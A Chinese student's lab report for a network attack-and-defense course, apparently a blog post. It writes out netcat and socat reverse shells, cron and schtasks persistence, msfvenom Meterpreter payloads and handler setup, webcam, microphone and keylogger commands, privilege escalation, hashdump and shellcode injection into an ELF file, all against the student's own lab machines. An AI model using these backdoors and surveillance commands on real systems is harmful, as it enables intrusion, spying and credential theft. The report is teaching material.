20212313 2023-2024-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1实验目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

①弱密码:使用容易猜测或者常见的密码。
②操作系统或软件漏洞:利用操作系统或软件的已知漏洞进行攻击。
③社会工程:通过欺骗或诱导用户执行恶意操作。
④物理访问:直接访问设备或者服务器进行篡改。
⑤钓鱼攻击:通过欺骗用户点击恶意链接或下载恶意附件。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

①linux中可以使用cron设置定时内容,实现启动后门
②windows下可以伪装成系统服务使其自动打开

(3)Meterpreter有哪些给你映像深刻的功能?

①Meterpreter 可以在目标系统中建立持久性访问,确保攻击者可以随时访问系统,使得窃密非常容易,就像逛自己家一样
②Meterpreter 可以截取键盘输入、截取屏幕截图等,监控目标系统的活动。我都可以做到窃取摄像头、键盘等权限,那些比我厉害的人那不是可以更轻松的入侵他人电脑,这让我感觉黑客近在我身边。

(4)如何发现自己有系统有没有被安装后门?

①使用安全工具进行扫描,如360、火绒、金山毒霸等等
②分析系统日志,定期进行安全审计

2.实验过程

2.1实验环境和准备

①windows 10的主机和kali操作系统的虚拟机
②提前在主机上下载socat和ncat
③主机关闭防火墙、退出火绒
在这里插入图片描述

2.2实验基础知识

①ncat 是 Nmap 项目的一部分,是一个强大的网络工具,可以进行tcp连接、监听端口,还可以收发文件

建立 TCP 连接:
ncat [options] host port
建立 UDP 连接:
ncat -u [options] host port
监听端口:
ncat -l -p port [options]
文件传输:
# 接收文件
ncat -l -p port > received_file
# 发送文件
ncat host port < file_to_send

②socat可以看成是ncat的加强版,socat 可以在两个数据流之间建立连接,可以是文件、管道、套接字等。支持多种协议和加密方式。可以用于端口转发、代理、加密通信等场景。

③Meterpreter 是 Metasploit 框架中的一个功能强大的模块,用于渗透测试和攻击。它提供了一个交互式的 shell 环境,允许攻击者执行各种操作,包括远程访问、文件传输、系统信息收集和持久性访问等。

2.3 使用netcat获取主机操作Shell,cron启动某项任务

2.3.1 获取主机和虚拟机的ip地址,以及是否能够ping通

主机的ip地址是172.16.227.132
虚拟机的ip地址是192.168.221.164
成功验证双方可以ping通
在这里插入图片描述

主机ip地址

2.3.2 windows获取linux shell

①kali输入

nc 172.16.227.132 2313 -e /bin/sh

②windows输入

ncat.exe -l -p 2313

表示执行ncat.exe文件,并且监听2313端口
③windows输入ls,发现成功获取linux的shell,但是输入crontab -e时出现乱码
在这里插入图片描述

2.3.3 使用cron启动某项任务

①提前在linux中进入root模式
②输入

echo “* * * * * * echo “20212313” > /home/kali/20212313.txt”
/var/spool/cron/crontabs/root

③然后输入crontab -l
在这里插入图片描述

④发现home/kali目录下出现20212313.txt文件,说明使用cron启动任务成功
在这里插入图片描述

2.4 使用socat获取主机操作Shell, 任务计划启动

2.4.1 linux上使用socat获取windows的shell

①kali终端输入

socat - tcp:172.16.227.132:2313

②windows输入

socat.exe tcp-listen:2313 exec:cmd.exe,pty,stderr

图二为kali获取windows的shell后的样子
在这里插入图片描述
在这里插入图片描述

2.4.2 用schtasks 命令创建任务计划

①提前写好20212313wjb.c文件,内容为在20212313.txt的文件中写入哈哈哈哈哈吴剑标,最后编译运行后生成20212313wjb.exe文件

#20212313wjb.c文件:
#include<stdio.h>
int main()
{
	FILE  *fp;
	const char *test="哈哈哈哈哈吴剑标";
	fp=fopen("20212313.txt","a");
	fprintf(fp,test);
	fclose(fp);
}

②将20212313wjb.exe创建每一分钟执行一次的任务计划

schtasks /create /sc minute /mo 1 /tn “20212313wjb” /tr
C:\Users\26233\Desktop\20212313wjb.exe
在这里插入图片描述

③打开计算机管理中的任务计划程序库中,发现了刚刚创建的20212313wjb的任务,并且是每一分钟重复一次。在这里插入图片描述
④打开20212313.txt验证内容,说明实验成功
在这里插入图片描述

2.5 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

①使用MSF meterpreter生成后门文件,kali中输入

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.164 LPORT=2313 -f exe > 20212313backdoor.exe
在这里插入图片描述

②windows监听2313端口,准备接收20212313backdoor文件

ncat.exe -l 2313 > 20212313_backdoor.exe
在这里插入图片描述

③kali通过2313端口发送后门文件给172.16.227.132主机

nc 172.16.227.132 2313 < 20212313backdoor.exe
在这里插入图片描述

④打开对应的目录,查看发现确实收到了后门文件
在这里插入图片描述

⑤进入MSF控制台,进行配置相关内容,成功实现监听,在此部分我出现了无法监听的问题,折磨了我许久,我将在后续讲述

①msfconsole //进入MSF控制台
②use exploit/multi/handler //使用监听模块
③set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
④set LHOST 192.168.221.164 //和之前生成后门程序时设置的kali的IP相同
⑤set LPORT 2313 //和之前生成后门程序时设置的端口相同
⑥exploit //开启监听
在这里插入图片描述

⑥windows上打开后门程序,成功获取shell,在kali中输入dir,获取各种文件,表示实验成功

ncat.exe -lv 2313 > 20212313_backdoor.exe
在这里插入图片描述

2.6 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.6.1在exploit模块中输入对应命令就可以获取对应的权限

record_mic    //音频
screenshot    //截屏
webcam_snap //拍照
keyscan_start keyscan_dump //读取键盘记录,输入前一个开启读取,输入后一个读取结束
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.6.2 尝试提权

①关于如何提权,我是学习杨申琳同学的实验过程,这让我大开眼界,学习到了许多

①bg
②use exploit/windows/local/ask
③set SESSION 1
④set FILENAME WeiChatUpdater.exe
⑤run在这里插入图片描述

②尝试获取windows密码

meterpreter > run post/windows/gather/hashdump
在这里插入图片描述

2.7使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

①生成一个 Meterpreter 反向 TCP Shellcode,然后将其注入到指定的 Linux 可执行文件中,并将结果保存为名为 “20212313_pwn” 的 ELF 格式文件。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.221.164  LPORT=2313 -x /home/kali/Desktop/20212313pwn -f elf > 20212313_pwn

①msfvenom: 这是 Metasploit Framework 中用于生成恶意代码的工具。 ②-p
linux/x86/meterpreter/reverse_tcp: 这个参数指定了要生成的 Payload 类型,即
Meterpreter 反向 TCP Shellcode,适用于 Linux 平台的 x86 架构。
③LHOST=192.168.221.164: 这个参数指定了 Meterpreter 反向连接的 IP 地址,即攻击者的 IP 地址。
④LPORT=2313: 这个参数指定了 Meterpreter 反向连接的端口号,即攻击者监听连接的端口号。 ⑤-x
/home/kali/Desktop/20212313pwn: 这个参数指定了要注入 Payload 的可执行文件,即待注入的目标文件。
⑥-f elf: 这个参数指定了生成的 Payload 的输出格式为 ELF 格式,适用于 Linux 可执行文件。 ⑦
20212313_pwn: 这个符号将生成的 Payload 输出到名为“20212313_pwn” 的文件中。

②输入指令msfconsole,然后进行如下配置

①use exploit/multi/handler //进入handler模式 set payload
②linux/x86/meterpreter/reverse_tcp //对应生成的后门程序设置payload
③ set LHOST 192.168.221.164 //设置LHOST,其中ip为攻击者Linux的ip set
④LPORT 2313 //设置LPORT exploit //启动监听
⑤输入exploit

③打开另外一个终端执行20212313_pwn文件,就发现成功获取shell
在这里插入图片描述在这里插入图片描述

3.问题及解决方案

  • 问题1:使用schtasks命令创建计划任务时总是失败

  • 问题1解决方案:尝试了很多次后,才发现是自己犯傻了,引号应该是英文的而不是中文的。

  • 问题2:msf配置过程中老显示监听失败
    在这里插入图片描述

  • 问题2解决方案:这是我才发现,原来创建后门文件应该是实验攻击者的ip地址,也就是kali 的ip地址

  • 问题3:修改了创建后门文件的ip地址后,仍然无法进行监听,并且error也发生了变化在这里插入图片描述

  • 问题3解决方案:经过查找资料我才明白是之前尝试了太多次的监听,导致2313端口被其他进程占用,需要kill掉之前的进程

①netstat -tulpen //查看进程
②fuser -k 2313/tcp //销毁占用2313端口的进程
在这里插入图片描述

解决方案可以参考以下链接: msf反弹shell成功,却无法建立会话处理办法

4.学习感悟、思考等

这次实验我觉得难度比第一次提升了许多,但是也更有意思了。这是我第一次感受黑客是什么样的。之前我对于如何进行攻击是非常有疑问的。这次通过创建后门获取各种权限,我才知道连我都可以获取目标主机的摄像头、键盘、密码等权限。真的是小小的体验了一下黑客。也深刻感受到防火墙、入侵检测的重要性。

参考资料

  • 24
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值